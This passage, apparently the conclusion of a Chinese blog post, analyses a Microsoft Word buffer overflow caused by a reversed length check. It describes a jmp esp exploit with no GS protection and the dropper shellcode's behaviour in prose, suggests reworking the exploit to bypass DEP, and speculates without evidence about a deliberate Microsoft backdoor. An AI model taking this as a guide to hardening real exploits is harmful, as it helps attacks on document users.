综上溢出的根源在 A 函数第二次调用 B 函数之前检测数据长度的时候不小心犯了一个低级错误，小于等于误写成大于等于，导致 B 函数复制大量数据到 A 函数的临时变量当中，造成了溢出。此漏洞是缓冲区溢出的经典例子！唉~~微软竟然也犯这么低级的错误…把用户的安全完全抛之脑后了。A 函数和 B 函数都没开 GS 保护，导致可以直接使用 jmp esp 这种原始的利用方式发起攻击。这个炸弹估计很早以前就埋下了，不知道在这个 0day 的帮助下，有多少网民遭受到了黑帽子的毒手。。。真怀疑是微软故意留的后门！

到此，整个漏洞的原因分析完毕，未完成的工作还有 3 个：

1. word 怎么解析得到那个长度字段，怎么提取和变换数据（7ffa4512 在样本 doc 里找不到），暂时没有深究。有时间的话还可以继续详细跟踪一下。
2. shellcode 的分析。虽说这种释放木马和正常文档的恶意样本采用的 shellocde 都差不多，通过动态查找法找函数地址，然后通过 GetFilesize 函数循环找到自身文档句柄，然后从某个偏移读取藏在文档中的木马和正常文档，然后释放到临时文件夹，执行木马，然后打开正常文档掩盖踪迹等等。对于不熟悉的朋友可以分析一下，可以亲身体验一下这个繁杂的过程。
3. 没开 DEP 可以轻松利用，但是开了 DEP 的话利用方法就得变化了。可以修改一下利用方式，该病毒的成功率会更高。

对这个漏洞感兴趣的朋友也可以自己试试跟踪分析一把。毕竟自己亲自动手才有更深的体会。。。调试 office 漏洞需要耐心和一些经验，这个我就当抛砖引玉了~~这个漏洞我也分析了两天，这个过程还是有点艰难，但是也有很多的乐趣~ 如果你有新的发现，还请分享出来。最后，谢谢大家~ ~~

本文档经过 bitt 的提醒，改正了一些错误，特此感谢！